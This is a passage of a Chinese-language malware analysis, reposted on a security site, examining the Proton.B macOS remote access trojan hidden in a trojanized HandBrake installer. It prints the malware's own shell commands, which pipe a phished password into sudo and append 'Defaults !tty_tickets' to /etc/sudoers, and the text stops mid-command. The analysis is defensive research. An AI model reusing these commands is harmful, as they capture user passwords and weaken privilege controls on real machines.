欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

看一看这款Proton.B恶意软件会在你的Mac OS上干些什么坏事

来源:本站整理 作者:佚名 时间:2017-05-20 TAG: 我要投稿

近期,黑客又开发出了一种Proton远程访问工具(RAT)的新型变种。Proton是一个针对macOS系统的恶意软件,它可以窃取密码、记录键盘按键数据和提取文件,攻击者甚至还可以利用它来远程登录目标主机。

写在前面的话
为了研究这个恶意软件变种,我下载了一个植入了Proton的HandBrake样本。这个样本感染的是Proton.B,也就是Proton的变种版本。我对该恶意软件的运行机制进行了分析,并使用逆向工程技术对其代码进行了研究。我通过研究发现,Proton的开发者使用了多种技术来干扰安全研究人员的分析,例如对字符串进行加密,以及在多个分散文件中存储恶意脚本代码等等。
注:HandBrake是目前一款非常流行的视频编码应用。安全专家Patrick在他所发表的文章中详细描述了攻击者如何将Proton嵌入了HandBrake之中,因此本文不再对其进行赘述。
Proton的工作机制
我们首先需要处理的恶意软件名为activity_agent。在反汇编工具中打开这个文件之后,你会发现它采用的编程语言为Objective-C,这也是macOS平台“原生”的编程语言,而很多其他的恶意软件使用的是C++或者是其他的一些跨平台方案(例如QT)。
接下来,我使用IDA Pro对文件的二进制源码进行了分析。在这个过程中,我发现了很多有意思的东西,例如SSH隧道技术等等,但是我在测试这个恶意软件样本的过程中却并没有看到SSH隧道技术的使用。

当文件被执行之后,它会解密一个名为“.hash”的文件,这个文件位于bundle下的Resources目录中。

这个文件中包含有大量字符串子集,而activity_monitor源码将会加载这些字符串数据,这也是很多恶意软件开发者为了躲避安全研究人员和反病毒产品的检测而经常会用到的一种简单的字符串隐藏技术。
解密完成之后,文件“.hash”中包含有下列数据:



我们可以看到文件中使用到了大量的“%@”,这是Objective-C特有的语句标识,表示的是NSSTRING。注:Objective-C用“%@”来格式化字符串。
当这个文件被执行之后,会弹出一个看似合法的对话框,并提示用户输入密码才可以安装HandBrake的应用组件,但对话框中的提示文本很明显就是文件“.hash”中的内容。

Mac用户在每一个对话框中输入密码之前,一定要三思而后行。因为通过对话框的形式来要求用户输入密码是一种非常常见的社会工程学技术,攻击者可以利用这种方法来欺骗用户交出自己的密码。大家也都知道,很多恶意软件攻击都会使用这种方法。由于绝大多数环境下目标用户都在sudoers列表之中,因此攻击者只要拿到了用户的密码,就可以将自己的权限提升到root。
当用户输入了自己的密码之后,该恶意软件会立刻通过下列命令检测密码的有效性:
‘/bin/sh’, ‘-c’,“echo ‘qwer1234’ | sudo -S echo success;”
验证成功之后的下一步就是通过下列命令禁用/etc/sudoers/中的“tty_tickets”功能:

‘/bin/sh’,‘-c’, ‘echo \’printf “\\033[8;1;1t”; echo “qwer1234” | sudo -S sh -c “echo\’Defaults !tty_tickets\’ >> /etc/sudoers”; killall Terminal; sleep 1;\’
tty_tickets是从macOS Sierra开始默认开启的一项功能,每当用户在一个单独的终端页面执行一个“sudo”命令时,它都会要求用户输入自己的密码。如果禁用了这项功能,那么用户只需要输入一次密码,就可以在多个新的终端窗口(tty)中执行“sudo”命令了。我认为,tty_tickets的禁用将会方便恶意软件的开发者执行脚本任务,因为只需要输入一次密码就可以在不同的终端窗口中执行sudo命令了。
当我在IDA Pro中查看activity_agent的字符串部分时,我迅速发现了一个公共密钥。

这个密钥会在下面这行命令中使用到:
 ‘/bin/sh’,‘-c’, “echo ‘—–BEGIN PUBLICKEY—–\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAwUP19DdW2NlkkdovqqwF\n+r3sBaamka42zVMGa+COUCIysrVhVJIv4nmc57TLxgG8dsg+G0o0NQ75n898b04l\nYGve3gXGWJ8Y5OTJ16+RA4OtKAiO8v7qEGnQ/QpSzrLZPU3Yd60bAltYSvCCiOdB\nOKhOAiag0H39F2k5ea4zxt6TNDksW/o3+HcjzA4yy+C1tp2Cr4X37O5XMVZPWpMk\nsIXPazh91tr0TJ2VFyx4btnDPajeOzhcKUA05Wrw+hagAZnFU9Bajx3KvdTlxsVx\nLmRc5r3IqDAsXTHH1jpmWMDiC9IGLDFPrN6NffAwjgSmsKhi1SC8yFHh0oPCswRh\nrQIDAQAB\n—–ENDPUBLIC KEY—–‘ > /tmp/public.pem; openssl rsautl -verify -in/Users/test/Downloads/Proton/Proton.B/activity_agent.app/Contents/Resources/.tmpdata-pubin -inkey

[1] [2]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载